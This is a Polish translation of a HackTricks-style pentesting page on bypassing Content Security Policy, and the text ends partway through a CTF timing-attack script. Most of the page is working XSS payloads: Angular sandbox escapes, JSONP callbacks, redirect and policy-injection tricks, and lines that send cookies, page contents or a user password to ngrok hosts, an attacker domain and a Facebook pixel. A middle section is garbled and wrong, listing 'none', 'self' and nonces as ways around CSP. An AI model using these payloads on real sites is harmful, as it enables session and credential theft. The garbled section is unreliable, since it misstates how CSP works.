hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-02-11 01:46:25 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated to Polish 2024-02-11 01:46:25 +00:00

Bypass zasad bezpieczeństwa treści (CSP)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Co to jest CSP

Content Security Policy (CSP) jest uznawany za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak cross-site scripting (XSS). Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Zasoby te obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonanie zasobów z tego samego domeny (self), w tym zasobów wewnętrznych i wykonanie kodu ciągłego za pomocą funkcji takich jak eval, setTimeout lub setInterval.

Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta w stronie HTML. Przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.

  • Wdrożenie za pomocą nagłówka odpowiedzi:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Wdrożone za pomocą meta tagu:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Nagłówki

CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:

  • Content-Security-Policy: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia.
  • Content-Security-Policy-Report-Only: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.

Definiowanie zasobów

CSP ogranicza pochodzenie ładowania zarówno aktywnych, jak i pasywnych zasobów, kontrolując takie aspekty jak wykonywanie skryptów JavaScript w linii oraz użycie eval(). Przykładowa polityka to:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Dyrektywy

  • script-src: Pozwala na określone źródła dla JavaScript, w tym adresy URL, skrypty w linii, oraz skrypty wywoływane przez event handlery lub arkusze stylów XSLT.
  • default-src: Ustawia domyślną politykę pobierania zasobów, gdy brakuje konkretnych dyrektyw pobierania.
  • child-src: Określa dozwolone zasoby dla web workerów i osadzonych treści ramek.
  • connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
  • frame-src: Ogranicza adresy URL dla ramek.
  • frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, dotyczy elementów takich jak <frame>, <iframe>, <object>, <embed> i <applet>.
  • img-src: Definiuje dozwolone źródła dla obrazów.
  • font-src: Określa prawidłowe źródła dla czcionek ładowanych za pomocą @font-face.
  • manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.
  • media-src: Definiuje dozwolone źródła dla ładowania obiektów multimedialnych.
  • object-src: Definiuje dozwolone źródła dla elementów <object>, <embed> i <applet>.
  • base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów <base>.
  • form-action: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
  • plugin-types: Ogranicza typy mime, które strona może wywoływać.
  • upgrade-insecure-requests: Instruuje przeglądarki do przepisywania adresów URL HTTP na HTTPS.
  • sandbox: Stosuje ograniczenia podobne do atrybutu sandbox <iframe>.
  • report-to: Określa grupę, do której zostanie wysłane zgłoszenie, jeśli polityka zostanie naruszona.
  • worker-src: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
  • prefetch-src: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.
  • navigate-to: Ogranicza adresy URL, do których dokument może nawigować za pomocą dowolnych środków (a, form, window.location, window.open itp.)

Źródła

  • *: Pozwala na wszystkie adresy URL, z wyjątkiem tych z schematami data:, blob:, filesystem:.
  • 'self': Pozwala na ładowanie z tej samej domeny.
  • 'data': Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazy kodowane Base64).
  • 'none': Blokuje ładowanie z dowolnego źródła.
  • 'unsafe-eval': Pozwala na użycie metody eval() i podobnych, niezalecane ze względów bezpieczeństwa.
  • 'unsafe-hashes': Włącza określone inline event handlery.
  • 'unsafe-inline': Pozwala na użycie zasobów inline, takich jak inline <script> lub <style>, niezalecane ze względów bezpieczeństwa.
  • 'nonce': Biała lista dla konkretnych skryptów inline za pomocą kryptograficznego nonce (liczba używana tylko raz).
  • 'sha256-<hash>': Biała lista skryptów o określonym skrócie sha256.
  • 'strict-dynamic': Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostały one uwzględnione na białej liście za pomocą nonce lub skrótu.
  • 'host': Określa określony host, np. example.com.
  • https:: Ogranicza adresy URL do tych, które używają protokołu HTTPS.
  • blob:: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresy URL Blob utworzone za pomocą JavaScript).
  • filesystem:: Pozwala na ładowanie zasobów z systemu plików.
  • 'report-sample': Zawiera przykład naruszającego kodu w raporcie naruszenia (przydatne do debugowania).
  • 'strict-origin': Podobne do 'self', ale zapewnia, że poziom bezpieczeństwa protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).
  • 'strict-origin-when-cross-origin': Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest międzydomenowe.
  • 'unsafe-allow-redirects': Pozwala na ładowanie zasobów, które natychmiast przekierowują na inny zasób. Niezalecane, ponieważ osłabia bezpieczeństwo.

Niebezpieczne reguły CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Działający payload: "/><script>alert(1);</script>

self + 'unsafe-inline' za pomocą Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Działający payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Jeśli w jakiś sposób możesz sprawić, że dozwolony kod JS tworzy nowy tag skryptu w DOM za pomocą twojego kodu JS, ponieważ to dozwolony skrypt go tworzy, nowy tag skryptu będzie mógł zostać wykonany.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Działający payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Brak object-src i default-src

{% hint style="danger" %} Wygląda na to, że to już nie działa {% endhint %}

Content-Security-Policy: script-src 'self' ;

Działające ładunki:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Przesyłanie plików + 'self'

W niektórych przypadkach, gdy aplikacja internetowa korzysta z polityki zabezpieczeń treści (CSP) i zezwala na dostęp tylko do określonych źródeł, można znaleźć sposób na obejście tej polityki, wykorzystując funkcję przesyłania plików.

Gdy aplikacja internetowa umożliwia przesyłanie plików, może być możliwe przesłanie pliku zawierającego kod JavaScript, który zostanie wykonany na stronie. W takim przypadku, jeśli polityka CSP zawiera 'self' jako dozwolone źródło, można wykorzystać to, aby obejść politykę.

Aby to zrobić, należy przesłać plik zawierający kod JavaScript, który wywoła żądanie do strony, z której chcemy pobrać dane. W ten sposób, kod JavaScript zostanie wykonany na stronie, a żądanie zostanie wysłane z domeny, która jest dozwolona przez politykę CSP ('self').

Przykład:

<form action="https://example.com/upload" method="POST" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

W powyższym przykładzie, plik zostanie przesłany na serwer pod wskazany adres URL. Jeśli na stronie docelowej istnieje podatność, która pozwala na wykonanie kodu JavaScript z przesłanego pliku, można wykorzystać to do obejścia polityki CSP.

Warto jednak pamiętać, że to tylko jedna z wielu technik obejścia polityki CSP i zawsze należy przestrzegać prawnych i etycznych zasad podczas testowania penetracyjnego aplikacji internetowych.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Jeśli możesz przesłać plik JS, możesz ominąć tę CSP:

Działający payload:

"/>'><script src="/uploads/picture.png.js"></script>

Jednakże, jest bardzo prawdopodobne, że serwer sprawdza poprawność przesyłanego pliku i pozwoli tylko na przesyłanie określonego typu plików.

Co więcej, nawet jeśli udałoby Ci się przesłać plik zawierający kod JS z rozszerzeniem akceptowanym przez serwer (np. script.png), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer Apache, wybierają typ MIME pliku na podstawie rozszerzenia, a przeglądarki, takie jak Chrome, odmówią wykonania kodu Javascript w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z jednego z zadań CTF dowiedziałem się, że Apache nie rozpoznaje rozszerzenia .wave, dlatego nie serwuje go z typem MIME, takim jak audio/*.

Stąd, jeśli znajdziesz XSS i możliwość przesyłania plików, i uda Ci się znaleźć błędne rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot (przykłady poliglotów tutaj).

Zewnętrzne punkty końcowe + ('unsafe-eval')

{% hint style="warning" %} Dla niektórych z poniższych payloadów unsafe-eval nie jest nawet potrzebne. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Załaduj podatną wersję Angulara i wykonaj dowolny kod JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloady wykorzystujące Angular + bibliotekę z funkcjami zwracającymi obiekt window (zobacz ten post):

{% hint style="info" %} W poście pokazano, że można załadować wszystkie biblioteki z cdn.cloudflare.com (lub dowolnego innego repozytorium z dozwolonymi bibliotekami JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić, które funkcje zwracają obiekt window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Wykorzystywanie kodu JS google recaptcha

Zgodnie z tym opisem CTF można wykorzystać https://www.google.com/recaptcha/ wewnątrz CSP do wykonania dowolnego kodu JS omijając CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Zewnętrzne punkty końcowe + JSONP

W niektórych przypadkach, gdy strona internetowa ma zastosowaną politykę bezpieczeństwa zawartości (CSP), można próbować obejść tę politykę, korzystając z zewnętrznych punktów końcowych i techniki JSONP.

JSONP (JSON with Padding) to technika, która umożliwia pobieranie danych z innej domeny, omijając politykę samej domeny. Działa to poprzez dodanie skryptu do strony, który pobiera dane z zewnętrznego punktu końcowego i wywołuje funkcję zwrotną, przekazując dane jako argument.

Aby obejść politykę CSP, można użyć zewnętrznego punktu końcowego, który nie jest objęty tą polityką. Następnie, poprzez wykorzystanie techniki JSONP, można pobrać dane z tego punktu końcowego i przekazać je do strony internetowej.

Jednak należy pamiętać, że technika JSONP ma swoje ograniczenia i może być podatna na ataki typu XSS (Cross-Site Scripting). Dlatego zawsze należy dokładnie sprawdzić, czy zewnętrzny punkt końcowy jest zaufany i nie zawiera potencjalnie szkodliwego kodu.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariusze, w których script-src jest ustawione na self i określona domena jest uwzględniona na białej liście, można obejść za pomocą JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołania zwrotnego, co umożliwia atakującemu wykonanie XSS. Przykład działającego payloadu:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP różnych stron internetowych.

Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera przekierowanie otwarte, ponieważ jeśli początkowy punkt końcowy jest zaufany, przekierowania są zaufane.

Nadużycia stron trzecich

Jak opisano w poniższym poście, istnieje wiele domen stron trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do eksfiltracji danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:

Podmiot Dozwolona domena Możliwości
Facebook www.facebook.com, *.facebook.com Eksfil
Hotjar *.hotjar.com, ask.hotjar.io Eksfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Wykonanie
Amazon CloudFront *.cloudfront.net Eksfil, Wykonanie
Amazon AWS *.amazonaws.com Eksfil, Wykonanie
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Eksfil, Wykonanie
Salesforce Heroku *.herokuapp.com Eksfil, Wykonanie
Google Firebase *.firebaseapp.com Eksfil, Wykonanie

Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze stron trzecich i eksfiltrując dane do tej usługi lub wykonując kod.

Na przykład, jeśli znajdziesz następujący CSP:

Content-Security-Policy: default-src 'self www.facebook.com;

Bypassowanie polityki zabezpieczeń treści (CSP)

CSP (Content Security Policy) to mechanizm bezpieczeństwa stosowany na stronach internetowych, który ogranicza rodzaje zasobów, które przeglądarka może załadować. CSP jest używany w celu ochrony przed atakami takimi jak XSS (Cross-Site Scripting) i klikanie w linki CSRF (Cross-Site Request Forgery).

Jednak istnieją pewne techniki, które można zastosować w celu obejścia polityki CSP i uzyskania dostępu do niedozwolonych zasobów. Poniżej przedstawiam kilka popularnych metod:

1. Używanie zewnętrznych skryptów

CSP zazwyczaj blokuje ładowanie skryptów z zewnętrznych źródeł. Jednak można to obejść, korzystając z technik takich jak:

<script src="https://zly-źródło.com/zły-skrypt.js"></script>

2. Używanie atrybutu nonce

Atrybut nonce pozwala na załadowanie skryptów, które nie są zgodne z polityką CSP. Można to zrobić, dodając atrybut nonce do tagu skryptu i ustawiając wartość na dowolny unikalny ciąg znaków.

<script nonce="abc123" src="https://zly-źródło.com/zły-skrypt.js"></script>

3. Używanie atrybutu unsafe-inline

Atrybut unsafe-inline pozwala na wykonywanie skryptów wewnątrz tagów HTML, które normalnie byłyby zablokowane przez CSP. Można to zrobić, dodając atrybut unsafe-inline do pola script-src w nagłówku CSP.

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'">

4. Używanie atrybutu data:

Atrybut data: pozwala na załadowanie zasobów, takich jak obrazy, dźwięki i pliki CSS, które normalnie byłyby zablokowane przez CSP. Można to zrobić, dodając atrybut data: do pola img-src, media-src lub style-src w nagłówku CSP.

<meta http-equiv="Content-Security-Policy" content="img-src data:">

5. Używanie atrybutu blob:

Atrybut blob: pozwala na załadowanie zasobów z Blob URL, które normalnie byłyby zablokowane przez CSP. Można to zrobić, dodając atrybut blob: do pola img-src, media-src lub style-src w nagłówku CSP.

<meta http-equiv="Content-Security-Policy" content="img-src blob:">

6. Używanie atrybutu self

Atrybut self pozwala na załadowanie zasobów z tej samej domeny, które normalnie byłyby zablokowane przez CSP. Można to zrobić, dodając atrybut self do pola img-src, media-src lub style-src w nagłówku CSP.

<meta http-equiv="Content-Security-Policy" content="img-src 'self'">

7. Używanie atrybutu none

Atrybut none blokuje ładowanie zasobów z dowolnego źródła. Można to zrobić, dodając atrybut none do pola img-src, media-src lub style-src w nagłówku CSP.

<meta http-equiv="Content-Security-Policy" content="img-src 'none'">

8. Używanie atrybutu report-uri

Atrybut report-uri pozwala na przekierowanie raportów o naruszeniach polityki CSP do określonego adresu URL. Można to zrobić, dodając atrybut report-uri do nagłówka CSP.

<meta http-equiv="Content-Security-Policy" content="report-uri /raport-csp">

Podsumowanie

Pomimo skuteczności polityki CSP w ochronie przed atakami, istnieją różne techniki, które można zastosować w celu obejścia tej polityki. Ważne jest, aby świadomie monitorować i aktualizować politykę CSP, aby zapewnić maksymalne bezpieczeństwo strony internetowej.

Content-Security-Policy: connect-src www.facebook.com;

Powinieneś być w stanie wyciekać dane, podobnie jak zawsze było to robione za pomocą Google Analytics/Google Tag Manager. W tym przypadku postępujesz według tych ogólnych kroków:

  1. Utwórz konto dewelopera na Facebooku tutaj.
  2. Utwórz nową aplikację "Facebook Login" i wybierz "Stronę internetową".
  3. Przejdź do "Ustawienia -> Podstawowe" i pobierz swoje "ID aplikacji".
  4. Na stronie docelowej, z której chcesz wyciekać dane, możesz wyciekać dane, korzystając bezpośrednio z gadżetu Facebook SDK "fbq" za pomocą "customEvent" i ładunku danych.
  5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod podobnym adresem URL: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Wybierz zakładkę "Testowe zdarzenia", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.

Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera atakującego o podanym ID i wywołał zdarzenie niestandardowe w ten sposób:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Co do pozostałych siedmiu domen stron trzecich wymienionych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Zapoznaj się z wcześniejszym postem na blogu dla dodatkowych wyjaśnień na temat innych nadużyć stron trzecich.

Ominięcie za pomocą RPO (Relative Path Overwrite)

Oprócz wspomnianego wcześniej przekierowania w celu ominięcia ograniczeń ścieżki, istnieje jeszcze inna technika nazywana Relative Path Overwrite (RPO), która może być stosowana na niektórych serwerach.

Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/, można ją ominiąć w następujący sposób:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js.

To działa, ponieważ dla przeglądarki ładowany jest plik o nazwie ..%2fangular%2fangular.js znajdujący się w https://example.com/scripts/react/, co jest zgodne z CSP.

Następnie przeglądarka zdekoduje to, efektywnie żądając https://example.com/scripts/react/../angular/angular.js, co jest równoważne z https://example.com/scripts/angular/angular.js.

Wykorzystując tę niekonsekwencję w interpretacji adresu URL między przeglądarką a serwerem, można ominąć reguły ścieżki.

Rozwiązaniem jest nie traktowanie %2f jako / po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem w celu uniknięcia tego problemu.

Przykład online: https://jsbin.com/werevijewa/edit?html,output

Wykonywanie skryptów JS w ramkach (iframes)

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

Brakująca dyrektywa base-uri

Jeśli brakuje dyrektywy base-uri, można jej nadużyć do wykonania wstrzyknięcia zawieszonego znacznika.

Ponadto, jeśli strona ładowana jest skryptem za pomocą ścieżki względnej (np. <script src="/js/app.js">) przy użyciu Nonce, można wykorzystać tag base do załadowania skryptu z własnego serwera, osiągając XSS.
Jeśli podatna strona jest ładowana z httpS, użyj adresu URL httpS w tagu base.

<base href="https://www.attacker.com/">

Zdarzenia AngularJS

Określona polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia AngularJS udostępnia unikalny obiekt $event, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt $event może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt $event/event posiada atrybut path, przechowujący tablicę obiektów związanych z łańcuchem wykonania zdarzenia, przy czym obiekt window jest zawsze umieszczony na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.

Poprzez skierowanie tej tablicy do filtru orderBy, możliwe jest iterowanie po niej, wykorzystując końcowy element (obiekt window), aby wywołać globalną funkcję, taką jak alert(). Przedstawiony poniżej fragment kodu wyjaśnia ten proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ten fragment kodu przedstawia użycie dyrektywy ng-focus do wywołania zdarzenia, wykorzystanie $event.path|orderBy do manipulacji tablicą path oraz wykorzystanie obiektu window do wykonania funkcji alert(), co pozwala ujawnić document.cookie.

Znajdź inne sposoby obejścia Angulara na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i domeny na białej liście

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Polityka CSP, która umożliwia ładowanie skryptów z białej listy domen w aplikacji Angular JS, może zostać obejśnięta poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym repozytorium git.

Działające ładunki:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)

Ominięcie za pomocą przekierowania

Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innej domeny, która nie jest dozwolona, to i tak się nie powiedzie.

Jednak, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, można ominiąć pierwotne ograniczenia.

Oto przykład:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d, to ze względu na uwzględnienie ścieżki, zarówno skrypty /test, jak i /a/test zostaną zablokowane przez CSP.

Jednakże, końcowa lokalizacja http://localhost:5555/301 zostanie przekierowana po stronie serwera na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co umożliwia obejście ograniczenia ścieżki.

Dzięki temu przekierowaniu, nawet jeśli ścieżka jest podana w całości, nadal zostanie obejśnięta.

Najlepszym rozwiązaniem jest więc upewnienie się, że strona internetowa nie posiada podatności na otwarte przekierowania i że nie ma domen, które mogą być wykorzystane w regułach CSP.

Ominięcie CSP za pomocą zwisającego znacznika

Przeczytaj jak tutaj.

'unsafe-inline'; img-src *; za pomocą XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' oznacza, że można wykonać dowolny skrypt w kodzie (XSS może wykonać kod), a img-src * oznacza, że można używać na stronie internetowej dowolnego obrazu z dowolnego źródła.

Można ominąć tę politykę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna przez bota zawiera SQLi i wydobywa flagę za pomocą obrazu):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Z: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Można również wykorzystać tę konfigurację do wczytania kodu JavaScript umieszczonego wewnątrz obrazu. Jeśli na przykład strona pozwala na wczytywanie obrazów z Twittera, można stworzyć specjalny obraz, przesłać go na Twittera i wykorzystać "unsafe-inline" do wykonania kodu JS (jak w przypadku zwykłego XSS), który wczyta obraz, wydobędzie z niego kod JS i go wykona: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Z wykorzystaniem Service Workers

Funkcja importScripts w Service Workers nie jest ograniczona przez CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Wstrzykiwanie polityki

Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Jeśli parametr wysłany przez Ciebie jest wklejany wewnątrz deklaracji polityki, możesz zmienić politykę w taki sposób, że staje się bezużyteczna. Możesz zezwolić na skrypt 'unsafe-inline' za pomocą jednego z tych bypassów:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src.
Przykład można znaleźć tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

W przypadku przeglądarki Edge jest znacznie prostsze. Jeśli możesz dodać do CSP tylko to: ;_, Edge całkowicie ignoruje całą politykę.
Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; za pomocą XSS (iframe) - Atak czasowy

Zauważ brak dyrektywy 'unsafe-inline'.
Tym razem możesz sprawić, że ofiara załaduje stronę pod twoją kontrolą za pomocą XSS i <iframe>. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (CSRF). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz kontrolować czas potrzebny na załadowanie strony, możesz wydobyć potrzebne informacje.

Tym razem zostanie wydobyta flaga, za każdym razem gdy poprawnie zgadniesz znak za pomocą SQLi, odpowiedź zajmie więcej czasu ze względu na funkcję sleep. Następnie będziesz mógł wydobyć flagę:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
